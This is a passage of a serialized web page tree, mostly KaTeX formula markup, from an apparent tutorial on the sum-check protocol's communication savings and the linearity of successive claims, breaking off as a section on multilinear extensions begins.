{"type":29,"value":5617},{"type":24,"tag":90,"props":112572,"children":112574},{"className":112573,"style":6573},[6475],[],{"type":24,"tag":90,"props":112576,"children":112578},{"className":112577},[6578],[112579],{"type":29,"value":5491},{"type":24,"tag":90,"props":112581,"children":112583},{"className":112582,"style":6573},[6475],[],{"type":24,"tag":90,"props":112585,"children":112587},{"className":112586},[6385],[112588,112592,112663,112667,112672],{"type":24,"tag":90,"props":112589,"children":112591},{"className":112590,"style":112277},[6390],[],{"type":24,"tag":90,"props":112593,"children":112595},{"className":112594},[6396],[112596,112601],{"type":24,"tag":90,"props":112597,"children":112599},{"className":112598,"style":95111},[6396,23384],[112600],{"type":29,"value":95114},{"type":24,"tag":90,"props":112602,"children":112604},{"className":112603},[6412],[112605],{"type":24,"tag":90,"props":112606,"children":112608},{"className":112607},[6417,23438],[112609,112652],{"type":24,"tag":90,"props":112610,"children":112612},{"className":112611},[6422],[112613,112647],{"type":24,"tag":90,"props":112614,"children":112616},{"className":112615,"style":95406},[6427],[112617],{"type":24,"tag":90,"props":112618,"children":112619},{"style":112306},[112620,112624],{"type":24,"tag":90,"props":112621,"children":112623},{"className":112622,"style":6437},[6436],[],{"type":24,"tag":90,"props":112625,"children":112627},{"className":112626},[6442,6443,6444,6445],[112628],{"type":24,"tag":90,"props":112629,"children":112631},{"className":112630},[6396,6445],[112632,112637,112642],{"type":24,"tag":90,"props":112633,"children":112635},{"className":112634},[6396,23384,6445],[112636],{"type":29,"value":6123},{"type":24,"tag":90,"props":112638,"children":112640},{"className":112639},[6481,6445],[112641],{"type":29,"value":6456},{"type":24,"tag":90,"props":112643,"children":112645},{"className":112644},[6396,6445],[112646],{"type":29,"value":534},{"type":24,"tag":90,"props":112648,"children":112650},{"className":112649},[23541],[112651],{"type":29,"value":23544},{"type":24,"tag":90,"props":112653,"children":112655},{"className":112654},[6422],[112656],{"type":24,"tag":90,"props":112657,"children":112659},{"className":112658,"style":112347},[6427],[112660],{"type":24,"tag":90,"props":112661,"children":112662},{},[],{"type":24,"tag":90,"props":112664,"children":112666},{"className":112665,"style":6476},[6475],[],{"type":24,"tag":90,"props":112668,"children":112670},{"className":112669},[6481],[112671],{"type":29,"value":6456},{"type":24,"tag":90,"props":112673,"children":112675},{"className":112674,"style":6476},[6475],[],{"type":24,"tag":90,"props":112677,"children":112679},{"className":112678},[6385],[112680,112684,112689],{"type":24,"tag":90,"props":112681,"children":112683},{"className":112682,"style":95908},[6390],[],{"type":24,"tag":90,"props":112685,"children":112687},{"className":112686},[6396],[112688],{"type":29,"value":3191},{"type":24,"tag":90,"props":112690,"children":112692},{"className":112691},[6396,23384],[112693],{"type":29,"value":69},{"type":24,"tag":25,"props":112695,"children":112696},{},[112697,112699,112818,112820,112845],{"type":29,"value":112698},"So the prover only sends ",{"type":24,"tag":32,"props":112700,"children":112702},{"className":112701},[6368,6369],[112703],{"type":24,"tag":90,"props":112704,"children":112706},{"className":112705},[6374],[112707],{"type":24,"tag":90,"props":112708,"children":112710},{"className":112709,"ariaHidden":6380},[6379],[112711,112738],{"type":24,"tag":90,"props":112712,"children":112714},{"className":112713},[6385],[112715,112720,112725,112729,112734],{"type":24,"tag":90,"props":112716,"children":112719},{"className":112717,"style":112718},[6390],"height:0.4306em;",[],{"type":24,"tag":90,"props":112721,"children":112723},{"className":112722},[6396,23384],[112724],{"type":29,"value":69},{"type":24,"tag":90,"props":112726,"children":112728},{"className":112727,"style":6573},[6475],[],{"type":24,"tag":90,"props":112730,"children":112732},{"className":112731},[6578],[112733],{"type":29,"value":5491},{"type":24,"tag":90,"props":112735,"children":112737},{"className":112736,"style":6573},[6475],[],{"type":24,"tag":90,"props":112739,"children":112741},{"className":112740},[6385],[112742,112746,112803,112808,112813],{"type":24,"tag":90,"props":112743,"children":112745},{"className":112744,"style":6496},[6390],[],{"type":24,"tag":90,"props":112747,"children":112749},{"className":112748},[6396],[112750,112755],{"type":24,"tag":90,"props":112751,"children":112753},{"className":112752,"style":95363},[6396,23384],[112754],{"type":29,"value":111128},{"type":24,"tag":90,"props":112756,"children":112758},{"className":112757},[6412],[112759],{"type":24,"tag":90,"props":112760,"children":112762},{"className":112761},[6417,23438],[112763,112792],{"type":24,"tag":90,"props":112764,"children":112766},{"className":112765},[6422],[112767,112787],{"type":24,"tag":90,"props":112768,"children":112770},{"className":112769,"style":95406},[6427],[112771],{"type":24,"tag":90,"props":112772,"children":112773},{"style":95410},[112774,112778],{"type":24,"tag":90,"props":112775,"children":112777},{"className":112776,"style":6437},[6436],[],{"type":24,"tag":90,"props":112779,"children":112781},{"className":112780},[6442,6443,6444,6445],[112782],{"type":24,"tag":90,"props":112783,"children":112785},{"className":112784},[6396,23384,6445],[112786],{"type":29,"value":6123},{"type":24,"tag":90,"props":112788,"children":112790},{"className":112789},[23541],[112791],{"type":29,"value":23544},{"type":24,"tag":90,"props":112793,"children":112795},{"className":112794},[6422],[112796],{"type":24,"tag":90,"props":112797,"children":112799},{"className":112798,"style":94960},[6427],[112800],{"type":24,"tag":90,"props":112801,"children":112802},{},[],{"type":24,"tag":90,"props":112804,"children":112806},{"className":112805},[23513],[112807],{"type":29,"value":117},{"type":24,"tag":90,"props":112809,"children":112811},{"className":112810},[6396],[112812],{"type":29,"value":6408},{"type":24,"tag":90,"props":112814,"children":112816},{"className":112815},[23535],[112817],{"type":29,"value":517},{"type":29,"value":112819},", and the verifier recovers ",{"type":24,"tag":32,"props":112821,"children":112823},{"className":112822},[6368,6369],[112824],{"type":24,"tag":90,"props":112825,"children":112827},{"className":112826},[6374],[112828],{"type":24,"tag":90,"props":112829,"children":112831},{"className":112830,"ariaHidden":6380},[6379],[112832],{"type":24,"tag":90,"props":112833,"children":112835},{"className":112834},[6385],[112836,112840],{"type":24,"tag":90,"props":112837,"children":112839},{"className":112838,"style":94792},[6390],[],{"type":24,"tag":90,"props":112841,"children":112843},{"className":112842},[6396,23384],[112844],{"type":29,"value":5617},{"type":29,"value":112846},". This saves 50% on communication costs.",{"type":24,"tag":25,"props":112848,"children":112849},{},[112850],{"type":29,"value":112851},"The next claim in the chain is",{"type":24,"tag":25,"props":112853,"children":112854},{},[112855],{"type":24,"tag":32,"props":112856,"children":112858},{"className":112857},[6368,6369],[112859],{"type":24,"tag":90,"props":112860,"children":112862},{"className":112861},[6374],[112863],{"type":24,"tag":90,"props":112864,"children":112866},{"className":112865,"ariaHidden":6380},[6379],[112867,112946,113091,113117,113144,113222,113248,113345,113381,113459,113495,113583,113675],{"type":24,"tag":90,"props":112868,"children":112870},{"className":112869},[6385],[112871,112876,112933,112937,112942],{"type":24,"tag":90,"props":112872,"children":112875},{"className":112873,"style":112874},[6390],"height:0.8333em;vertical-align:-0.15em;",[],{"type":24,"tag":90,"props":112877,"children":112879},{"className":112878},[6396],[112880,112885],{"type":24,"tag":90,"props":112881,"children":112883},{"className":112882,"style":95111},[6396,23384],[112884],{"type":29,"value":95114},{"type":24,"tag":90,"props":112886,"children":112888},{"className":112887},[6412],[112889],{"type":24,"tag":90,"props":112890,"children":112892},{"className":112891},[6417,23438],[112893,112922],{"type":24,"tag":90,"props":112894,"children":112896},{"className":112895},[6422],[112897,112917],{"type":24,"tag":90,"props":112898,"children":112900},{"className":112899,"style":95406},[6427],[112901],{"type":24,"tag":90,"props":112902,"children":112903},{"style":112306},[112904,112908],{"type":24,"tag":90,"props":112905,"children":112907},{"className":112906,"style":6437},[6436],[],{"type":24,"tag":90,"props":112909,"children":112911},{"className":112910},[6442,6443,6444,6445],[112912],{"type":24,"tag":90,"props":112913,"children":112915},{"className":112914},[6396,23384,6445],[112916],{"type":29,"value":6123},{"type":24,"tag":90,"props":112918,"children":112920},{"className":112919},[23541],[112921],{"type":29,"value":23544},{"type":24,"tag":90,"props":112923,"children":112925},{"className":112924},[6422],[112926],{"type":24,"tag":90,"props":112927,"children":112929},{"className":112928,"style":94960},[6427],[112930],{"type":24,"tag":90,"props":112931,"children":112932},{},[],{"type":24,"tag":90,"props":112934,"children":112936},{"className":112935,"style":6573},[6475],[],{"type":24,"tag":90,"props":112938,"children":112940},{"className":112939},[6578],[112941],{"type":29,"value":5491},{"type":24,"tag":90,"props":112943,"children":112945},{"className":112944,"style":6573},[6475],[],{"type":24,"tag":90,"props":112947,"children":112949},{"className":112948},[6385],[112950,112954,113011,113016,113073,113078,113082,113087],{"type":24,"tag":90,"props":112951,"children":112953},{"className":112952,"style":6496},[6390],[],{"type":24,"tag":90,"props":112955,"children":112957},{"className":112956},[6396],[112958,112963],{"type":24,"tag":90,"props":112959,"children":112961},{"className":112960,"style":95363},[6396,23384],[112962],{"type":29,"value":111128},{"type":24,"tag":90,"props":112964,"children":112966},{"className":112965},[6412],[112967],{"type":24,"tag":90,"props":112968,"children":112970},{"className":112969},[6417,23438],[112971,113000],{"type":24,"tag":90,"props":112972,"children":112974},{"className":112973},[6422],[112975,112995],{"type":24,"tag":90,"props":112976,"children":112978},{"className":112977,"style":95406},[6427],[112979],{"type":24,"tag":90,"props":112980,"children":112981},{"style":95410},[112982,112986],{"type":24,"tag":90,"props":112983,"children":112985},{"className":112984,"style":6437},[6436],[],{"type":24,"tag":90,"props":112987,"children":112989},{"className":112988},[6442,6443,6444,6445],[112990],{"type":24,"tag":90,"props":112991,"children":112993},{"className":112992},[6396,23384,6445],[112994],{"type":29,"value":6123},{"type":24,"tag":90,"props":112996,"children":112998},{"className":112997},[23541],[112999],{"type":29,"value":23544},{"type":24,"tag":90,"props":113001,"children":113003},{"className":113002},[6422],[113004],{"type":24,"tag":90,"props":113005,"children":113007},{"className":113006,"style":94960},[6427],[113008],{"type":24,"tag":90,"props":113009,"children":113010},{},[],{"type":24,"tag":90,"props":113012,"children":113014},{"className":113013},[23513],[113015],{"type":29,"value":117},{"type":24,"tag":90,"props":113017,"children":113019},{"className":113018},[6396],[113020,113025],{"type":24,"tag":90,"props":113021,"children":113023},{"className":113022,"style":94877},[6396,23384],[113024],{"type":29,"value":95696},{"type":24,"tag":90,"props":113026,"children":113028},{"className":113027},[6412],[113029],{"type":24,"tag":90,"props":113030,"children":113032},{"className":113031},[6417,23438],[113033,113062],{"type":24,"tag":90,"props":113034,"children":113036},{"className":113035},[6422],[113037,113057],{"type":24,"tag":90,"props":113038,"children":113040},{"className":113039,"style":95406},[6427],[113041],{"type":24,"tag":90,"props":113042,"children":113043},{"style":111876},[113044,113048],{"type":24,"tag":90,"props":113045,"children":113047},{"className":113046,"style":6437},[6436],[],{"type":24,"tag":90,"props":113049,"children":113051},{"className":113050},[6442,6443,6444,6445],[113052],{"type":24,"tag":90,"props":113053,"children":113055},{"className":113054},[6396,23384,6445],[113056],{"type":29,"value":6123},{"type":24,"tag":90,"props":113058,"children":113060},{"className":113059},[23541],[113061],{"type":29,"value":23544},{"type":24,"tag":90,"props":113063,"children":113065},{"className":113064},[6422],[113066],{"type":24,"tag":90,"props":113067,"children":113069},{"className":113068,"style":94960},[6427],[113070],{"type":24,"tag":90,"props":113071,"children":113072},{},[],{"type":24,"tag":90,"props":113074,"children":113076},{"className":113075},[23535],[113077],{"type":29,"value":517},{"type":24,"tag":90,"props":113079,"children":113081},{"className":113080,"style":6573},[6475],[],{"type":24,"tag":90,"props":113083,"children":113085},{"className":113084},[6578],[113086],{"type":29,"value":5491},{"type":24,"tag":90,"props":113088,"children":113090},{"className":113089,"style":6573},[6475],[],{"type":24,"tag":90,"props":113092,"children":113094},{"className":113093},[6385],[113095,113099,113104,113108,113113],{"type":24,"tag":90,"props":113096,"children":113098},{"className":113097,"style":112032},[6390],[],{"type":24,"tag":90,"props":113100,"children":113102},{"className":113101},[6396,23384],[113103],{"type":29,"value":69},{"type":24,"tag":90,"props":113105,"children":113107},{"className":113106,"style":6476},[6475],[],{"type":24,"tag":90,"props":113109,"children":113111},{"className":113110},[6481],[113112],{"type":29,"value":6767},{"type":24,"tag":90,"props":113114,"children":113116},{"className":113115,"style":6476},[6475],[],{"type":24,"tag":90,"props":113118,"children":113120},{"className":113119},[6385],[113121,113125,113130,113134,113140],{"type":24,"tag":90,"props":113122,"children":113124},{"className":113123,"style":94792},[6390],[],{"type":24,"tag":90,"props":113126,"children":113128},{"className":113127},[6396,23384],[113129],{"type":29,"value":5617},{"type":24,"tag":90,"props":113131,"children":113133},{"className":113132,"style":6476},[6475],[],{"type":24,"tag":90,"props":113135,"children":113137},{"className":113136},[6481],[113138],{"type":29,"value":113139},"⋅",{"type":24,"tag":90,"props":113141,"children":113143},{"className":113142,"style":6476},[6475],[],{"type":24,"tag":90,"props":113145,"children":113147},{"className":113146},[6385],[113148,113152,113209,113213,113218],{"type":24,"tag":90,"props":113149,"children":113151},{"className":113150,"style":111847},[6390],[],{"type":24,"tag":90,"props":113153,"children":113155},{"className":113154},[6396],[113156,113161],{"type":24,"tag":90,"props":113157,"children":113159},{"className":113158,"style":94877},[6396,23384],[113160],{"type":29,"value":95696},{"type":24,"tag":90,"props":113162,"children":113164},{"className":113163},[6412],[113165],{"type":24,"tag":90,"props":113166,"children":113168},{"className":113167},[6417,23438],[113169,113198],{"type":24,"tag":90,"props":113170,"children":113172},{"className":113171},[6422],[113173,113193],{"type":24,"tag":90,"props":113174,"children":113176},{"className":113175,"style":95406},[6427],[113177],{"type":24,"tag":90,"props":113178,"children":113179},{"style":111876},[113180,113184],{"type":24,"tag":90,"props":113181,"children":113183},{"className":113182,"style":6437},[6436],[],{"type":24,"tag":90,"props":113185,"children":113187},{"className":113186},[6442,6443,6444,6445],[113188],{"type":24,"tag":90,"props":113189,"children":113191},{"className":113190},[6396,23384,6445],[113192],{"type":29,"value":6123},{"type":24,"tag":90,"props":113194,"children":113196},{"className":113195},[23541],[113197],{"type":29,"value":23544},{"type":24,"tag":90,"props":113199,"children":113201},{"className":113200},[6422],[113202],{"type":24,"tag":90,"props":113203,"children":113205},{"className":113204,"style":94960},[6427],[113206],{"type":24,"tag":90,"props":113207,"children":113208},{},[],{"type":24,"tag":90,"props":113210,"children":113212},{"className":113211,"style":6573},[6475],[],{"type":24,"tag":90,"props":113214,"children":113216},{"className":113215},[6578],[113217],{"type":29,"value":5491},{"type":24,"tag":90,"props":113219,"children":113221},{"className":113220,"style":6573},[6475],[],{"type":24,"tag":90,"props":113223,"children":113225},{"className":113224},[6385],[113226,113230,113235,113239,113244],{"type":24,"tag":90,"props":113227,"children":113229},{"className":113228,"style":112032},[6390],[],{"type":24,"tag":90,"props":113231,"children":113233},{"className":113232},[6396,23384],[113234],{"type":29,"value":69},{"type":24,"tag":90,"props":113236,"children":113238},{"className":113237,"style":6476},[6475],[],{"type":24,"tag":90,"props":113240,"children":113242},{"className":113241},[6481],[113243],{"type":29,"value":6767},{"type":24,"tag":90,"props":113245,"children":113247},{"className":113246,"style":6476},[6475],[],{"type":24,"tag":90,"props":113249,"children":113251},{"className":113250},[6385],[113252,113256,113261,113332,113336,113341],{"type":24,"tag":90,"props":113253,"children":113255},{"className":113254,"style":6496},[6390],[],{"type":24,"tag":90,"props":113257,"children":113259},{"className":113258},[23513],[113260],{"type":29,"value":117},{"type":24,"tag":90,"props":113262,"children":113264},{"className":113263},[6396],[113265,113270],{"type":24,"tag":90,"props":113266,"children":113268},{"className":113267,"style":95111},[6396,23384],[113269],{"type":29,"value":95114},{"type":24,"tag":90,"props":113271,"children":113273},{"className":113272},[6412],[113274],{"type":24,"tag":90,"props":113275,"children":113277},{"className":113276},[6417,23438],[113278,113321],{"type":24,"tag":90,"props":113279,"children":113281},{"className":113280},[6422],[113282,113316],{"type":24,"tag":90,"props":113283,"children":113285},{"className":113284,"style":95406},[6427],[113286],{"type":24,"tag":90,"props":113287,"children":113288},{"style":112306},[113289,113293],{"type":24,"tag":90,"props":113290,"children":113292},{"className":113291,"style":6437},[6436],[],{"type":24,"tag":90,"props":113294,"children":113296},{"className":113295},[6442,6443,6444,6445],[113297],{"type":24,"tag":90,"props":113298,"children":113300},{"className":113299},[6396,6445],[113301,113306,113311],{"type":24,"tag":90,"props":113302,"children":113304},{"className":113303},[6396,23384,6445],[113305],{"type":29,"value":6123},{"type":24,"tag":90,"props":113307,"children":113309},{"className":113308},[6481,6445],[113310],{"type":29,"value":6456},{"type":24,"tag":90,"props":113312,"children":113314},{"className":113313},[6396,6445],[113315],{"type":29,"value":534},{"type":24,"tag":90,"props":113317,"children":113319},{"className":113318},[23541],[113320],{"type":29,"value":23544},{"type":24,"tag":90,"props":113322,"children":113324},{"className":113323},[6422],[113325],{"type":24,"tag":90,"props":113326,"children":113328},{"className":113327,"style":112347},[6427],[113329],{"type":24,"tag":90,"props":113330,"children":113331},{},[],{"type":24,"tag":90,"props":113333,"children":113335},{"className":113334,"style":6476},[6475],[],{"type":24,"tag":90,"props":113337,"children":113339},{"className":113338},[6481],[113340],{"type":29,"value":6456},{"type":24,"tag":90,"props":113342,"children":113344},{"className":113343,"style":6476},[6475],[],{"type":24,"tag":90,"props":113346,"children":113348},{"className":113347},[6385],[113349,113353,113358,113363,113368,113372,113377],{"type":24,"tag":90,"props":113350,"children":113352},{"className":113351,"style":6496},[6390],[],{"type":24,"tag":90,"props":113354,"children":113356},{"className":113355},[6396],[113357],{"type":29,"value":3191},{"type":24,"tag":90,"props":113359,"children":113361},{"className":113360},[6396,23384],[113362],{"type":29,"value":69},{"type":24,"tag":90,"props":113364,"children":113366},{"className":113365},[23535],[113367],{"type":29,"value":517},{"type":24,"tag":90,"props":113369,"children":113371},{"className":113370,"style":6476},[6475],[],{"type":24,"tag":90,"props":113373,"children":113375},{"className":113374},[6481],[113376],{"type":29,"value":113139},{"type":24,"tag":90,"props":113378,"children":113380},{"className":113379,"style":6476},[6475],[],{"type":24,"tag":90,"props":113382,"children":113384},{"className":113383},[6385],[113385,113389,113446,113450,113455],{"type":24,"tag":90,"props":113386,"children":113388},{"className":113387,"style":111847},[6390],[],{"type":24,"tag":90,"props":113390,"children":113392},{"className":113391},[6396],[113393,113398],{"type":24,"tag":90,"props":113394,"children":113396},{"className":113395,"style":94877},[6396,23384],[113397],{"type":29,"value":95696},{"type":24,"tag":90,"props":113399,"children":113401},{"className":113400},[6412],[113402],{"type":24,"tag":90,"props":113403,"children":113405},{"className":113404},[6417,23438],[113406,113435],{"type":24,"tag":90,"props":113407,"children":113409},{"className":113408},[6422],[113410,113430],{"type":24,"tag":90,"props":113411,"children":113413},{"className":113412,"style":95406},[6427],[113414],{"type":24,"tag":90,"props":113415,"children":113416},{"style":111876},[113417,113421],{"type":24,"tag":90,"props":113418,"children":113420},{"className":113419,"style":6437},[6436],[],{"type":24,"tag":90,"props":113422,"children":113424},{"className":113423},[6442,6443,6444,6445],[113425],{"type":24,"tag":90,"props":113426,"children":113428},{"className":113427},[6396,23384,6445],[113429],{"type":29,"value":6123},{"type":24,"tag":90,"props":113431,"children":113433},{"className":113432},[23541],[113434],{"type":29,"value":23544},{"type":24,"tag":90,"props":113436,"children":113438},{"className":113437},[6422],[113439],{"type":24,"tag":90,"props":113440,"children":113442},{"className":113441,"style":94960},[6427],[113443],{"type":24,"tag":90,"props":113444,"children":113445},{},[],{"type":24,"tag":90,"props":113447,"children":113449},{"className":113448,"style":6573},[6475],[],{"type":24,"tag":90,"props":113451,"children":113453},{"className":113452},[6578],[113454],{"type":29,"value":5491},{"type":24,"tag":90,"props":113456,"children":113458},{"className":113457,"style":6573},[6475],[],{"type":24,"tag":90,"props":113460,"children":113462},{"className":113461},[6385],[113463,113467,113472,113477,113482,113486,113491],{"type":24,"tag":90,"props":113464,"children":113466},{"className":113465,"style":6496},[6390],[],{"type":24,"tag":90,"props":113468,"children":113470},{"className":113469},[6396,23384],[113471],{"type":29,"value":69},{"type":24,"tag":90,"props":113473,"children":113475},{"className":113474},[23513],[113476],{"type":29,"value":117},{"type":24,"tag":90,"props":113478,"children":113480},{"className":113479},[6396],[113481],{"type":29,"value":534},{"type":24,"tag":90,"props":113483,"children":113485},{"className":113484,"style":6476},[6475],[],{"type":24,"tag":90,"props":113487,"children":113489},{"className":113488},[6481],[113490],{"type":29,"value":6456},{"type":24,"tag":90,"props":113492,"children":113494},{"className":113493,"style":6476},[6475],[],{"type":24,"tag":90,"props":113496,"children":113498},{"className":113497},[6385],[113499,113503,113508,113565,113570,113574,113579],{"type":24,"tag":90,"props":113500,"children":113502},{"className":113501,"style":6496},[6390],[],{"type":24,"tag":90,"props":113504,"children":113506},{"className":113505},[6396],[113507],{"type":29,"value":3191},{"type":24,"tag":90,"props":113509,"children":113511},{"className":113510},[6396],[113512,113517],{"type":24,"tag":90,"props":113513,"children":113515},{"className":113514,"style":94877},[6396,23384],[113516],{"type":29,"value":95696},{"type":24,"tag":90,"props":113518,"children":113520},{"className":113519},[6412],[113521],{"type":24,"tag":90,"props":113522,"children":113524},{"className":113523},[6417,23438],[113525,113554],{"type":24,"tag":90,"props":113526,"children":113528},{"className":113527},[6422],[113529,113549],{"type":24,"tag":90,"props":113530,"children":113532},{"className":113531,"style":95406},[6427],[113533],{"type":24,"tag":90,"props":113534,"children":113535},{"style":111876},[113536,113540],{"type":24,"tag":90,"props":113537,"children":113539},{"className":113538,"style":6437},[6436],[],{"type":24,"tag":90,"props":113541,"children":113543},{"className":113542},[6442,6443,6444,6445],[113544],{"type":24,"tag":90,"props":113545,"children":113547},{"className":113546},[6396,23384,6445],[113548],{"type":29,"value":6123},{"type":24,"tag":90,"props":113550,"children":113552},{"className":113551},[23541],[113553],{"type":29,"value":23544},{"type":24,"tag":90,"props":113555,"children":113557},{"className":113556},[6422],[113558],{"type":24,"tag":90,"props":113559,"children":113561},{"className":113560,"style":94960},[6427],[113562],{"type":24,"tag":90,"props":113563,"children":113564},{},[],{"type":24,"tag":90,"props":113566,"children":113568},{"className":113567},[23535],[113569],{"type":29,"value":517},{"type":24,"tag":90,"props":113571,"children":113573},{"className":113572,"style":6476},[6475],[],{"type":24,"tag":90,"props":113575,"children":113577},{"className":113576},[6481],[113578],{"type":29,"value":6767},{"type":24,"tag":90,"props":113580,"children":113582},{"className":113581,"style":6476},[6475],[],{"type":24,"tag":90,"props":113584,"children":113586},{"className":113585},[6385],[113587,113591,113662,113666,113671],{"type":24,"tag":90,"props":113588,"children":113590},{"className":113589,"style":112277},[6390],[],{"type":24,"tag":90,"props":113592,"children":113594},{"className":113593},[6396],[113595,113600],{"type":24,"tag":90,"props":113596,"children":113598},{"className":113597,"style":95111},[6396,23384],[113599],{"type":29,"value":95114},{"type":24,"tag":90,"props":113601,"children":113603},{"className":113602},[6412],[113604],{"type":24,"tag":90,"props":113605,"children":113607},{"className":113606},[6417,23438],[113608,113651],{"type":24,"tag":90,"props":113609,"children":113611},{"className":113610},[6422],[113612,113646],{"type":24,"tag":90,"props":113613,"children":113615},{"className":113614,"style":95406},[6427],[113616],{"type":24,"tag":90,"props":113617,"children":113618},{"style":112306},[113619,113623],{"type":24,"tag":90,"props":113620,"children":113622},{"className":113621,"style":6437},[6436],[],{"type":24,"tag":90,"props":113624,"children":113626},{"className":113625},[6442,6443,6444,6445],[113627],{"type":24,"tag":90,"props":113628,"children":113630},{"className":113629},[6396,6445],[113631,113636,113641],{"type":24,"tag":90,"props":113632,"children":113634},{"className":113633},[6396,23384,6445],[113635],{"type":29,"value":6123},{"type":24,"tag":90,"props":113637,"children":113639},{"className":113638},[6481,6445],[113640],{"type":29,"value":6456},{"type":24,"tag":90,"props":113642,"children":113644},{"className":113643},[6396,6445],[113645],{"type":29,"value":534},{"type":24,"tag":90,"props":113647,"children":113649},{"className":113648},[23541],[113650],{"type":29,"value":23544},{"type":24,"tag":90,"props":113652,"children":113654},{"className":113653},[6422],[113655],{"type":24,"tag":90,"props":113656,"children":113658},{"className":113657,"style":112347},[6427],[113659],{"type":24,"tag":90,"props":113660,"children":113661},{},[],{"type":24,"tag":90,"props":113663,"children":113665},{"className":113664,"style":6476},[6475],[],{"type":24,"tag":90,"props":113667,"children":113669},{"className":113668},[6481],[113670],{"type":29,"value":113139},{"type":24,"tag":90,"props":113672,"children":113674},{"className":113673,"style":6476},[6475],[],{"type":24,"tag":90,"props":113676,"children":113678},{"className":113677},[6385],[113679,113683],{"type":24,"tag":90,"props":113680,"children":113682},{"className":113681,"style":111847},[6390],[],{"type":24,"tag":90,"props":113684,"children":113686},{"className":113685},[6396],[113687,113692],{"type":24,"tag":90,"props":113688,"children":113690},{"className":113689,"style":94877},[6396,23384],[113691],{"type":29,"value":95696},{"type":24,"tag":90,"props":113693,"children":113695},{"className":113694},[6412],[113696],{"type":24,"tag":90,"props":113697,"children":113699},{"className":113698},[6417,23438],[113700,113729],{"type":24,"tag":90,"props":113701,"children":113703},{"className":113702},[6422],[113704,113724],{"type":24,"tag":90,"props":113705,"children":113707},{"className":113706,"style":95406},[6427],[113708],{"type":24,"tag":90,"props":113709,"children":113710},{"style":111876},[113711,113715],{"type":24,"tag":90,"props":113712,"children":113714},{"className":113713,"style":6437},[6436],[],{"type":24,"tag":90,"props":113716,"children":113718},{"className":113717},[6442,6443,6444,6445],[113719],{"type":24,"tag":90,"props":113720,"children":113722},{"className":113721},[6396,23384,6445],[113723],{"type":29,"value":6123},{"type":24,"tag":90,"props":113725,"children":113727},{"className":113726},[23541],[113728],{"type":29,"value":23544},{"type":24,"tag":90,"props":113730,"children":113732},{"className":113731},[6422],[113733],{"type":24,"tag":90,"props":113734,"children":113736},{"className":113735,"style":94960},[6427],[113737],{"type":24,"tag":90,"props":113738,"children":113739},{},[],{"type":24,"tag":25,"props":113741,"children":113742},{},[113743,113744,113840,113842,113867,113869,113894],{"type":29,"value":47958},{"type":24,"tag":7711,"props":113745,"children":113746},{},[113747,113749],{"type":29,"value":113748},"linear in ",{"type":24,"tag":32,"props":113750,"children":113752},{"className":113751},[6368,6369],[113753],{"type":24,"tag":90,"props":113754,"children":113756},{"className":113755},[6374],[113757],{"type":24,"tag":90,"props":113758,"children":113760},{"className":113759,"ariaHidden":6380},[6379],[113761],{"type":24,"tag":90,"props":113762,"children":113764},{"className":113763},[6385],[113765,113769],{"type":24,"tag":90,"props":113766,"children":113768},{"className":113767,"style":112277},[6390],[],{"type":24,"tag":90,"props":113770,"children":113772},{"className":113771},[6396],[113773,113778],{"type":24,"tag":90,"props":113774,"children":113776},{"className":113775,"style":95111},[6396,23384],[113777],{"type":29,"value":95114},{"type":24,"tag":90,"props":113779,"children":113781},{"className":113780},[6412],[113782],{"type":24,"tag":90,"props":113783,"children":113785},{"className":113784},[6417,23438],[113786,113829],{"type":24,"tag":90,"props":113787,"children":113789},{"className":113788},[6422],[113790,113824],{"type":24,"tag":90,"props":113791,"children":113793},{"className":113792,"style":95406},[6427],[113794],{"type":24,"tag":90,"props":113795,"children":113796},{"style":112306},[113797,113801],{"type":24,"tag":90,"props":113798,"children":113800},{"className":113799,"style":6437},[6436],[],{"type":24,"tag":90,"props":113802,"children":113804},{"className":113803},[6442,6443,6444,6445],[113805],{"type":24,"tag":90,"props":113806,"children":113808},{"className":113807},[6396,6445],[113809,113814,113819],{"type":24,"tag":90,"props":113810,"children":113812},{"className":113811},[6396,23384,6445],[113813],{"type":29,"value":6123},{"type":24,"tag":90,"props":113815,"children":113817},{"className":113816},[6481,6445],[113818],{"type":29,"value":6456},{"type":24,"tag":90,"props":113820,"children":113822},{"className":113821},[6396,6445],[113823],{"type":29,"value":534},{"type":24,"tag":90,"props":113825,"children":113827},{"className":113826},[23541],[113828],{"type":29,"value":23544},{"type":24,"tag":90,"props":113830,"children":113832},{"className":113831},[6422],[113833],{"type":24,"tag":90,"props":113834,"children":113836},{"className":113835,"style":112347},[6427],[113837],{"type":24,"tag":90,"props":113838,"children":113839},{},[],{"type":29,"value":113841},"! By induction, the final claim is linear in the original ",{"type":24,"tag":32,"props":113843,"children":113845},{"className":113844},[6368,6369],[113846],{"type":24,"tag":90,"props":113847,"children":113849},{"className":113848},[6374],[113850],{"type":24,"tag":90,"props":113851,"children":113853},{"className":113852,"ariaHidden":6380},[6379],[113854],{"type":24,"tag":90,"props":113855,"children":113857},{"className":113856},[6385],[113858,113862],{"type":24,"tag":90,"props":113859,"children":113861},{"className":113860,"style":23379},[6390],[],{"type":24,"tag":90,"props":113863,"children":113865},{"className":113864,"style":95111},[6396,23384],[113866],{"type":29,"value":95114},{"type":29,"value":113868},". If ",{"type":24,"tag":32,"props":113870,"children":113872},{"className":113871},[6368,6369],[113873],{"type":24,"tag":90,"props":113874,"children":113876},{"className":113875},[6374],[113877],{"type":24,"tag":90,"props":113878,"children":113880},{"className":113879,"ariaHidden":6380},[6379],[113881],{"type":24,"tag":90,"props":113882,"children":113884},{"className":113883},[6385],[113885,113889],{"type":24,"tag":90,"props":113886,"children":113888},{"className":113887,"style":23379},[6390],[],{"type":24,"tag":90,"props":113890,"children":113892},{"className":113891,"style":95111},[6396,23384],[113893],{"type":29,"value":95114},{"type":29,"value":113895}," isn't in the transcript, we can solve for it.",{"type":24,"tag":1019,"props":113897,"children":113899},{"id":113898},"multilinear-extensions-mles",[113900],{"type":29,"value":113901},"Multilinear Extensions (MLEs)",{"type":24,"tag":25,"props":113903,"children":113904},{},[113905,113907,113992],{"type":29,"value":113906},"An MLE is just the polynomial view of a table over 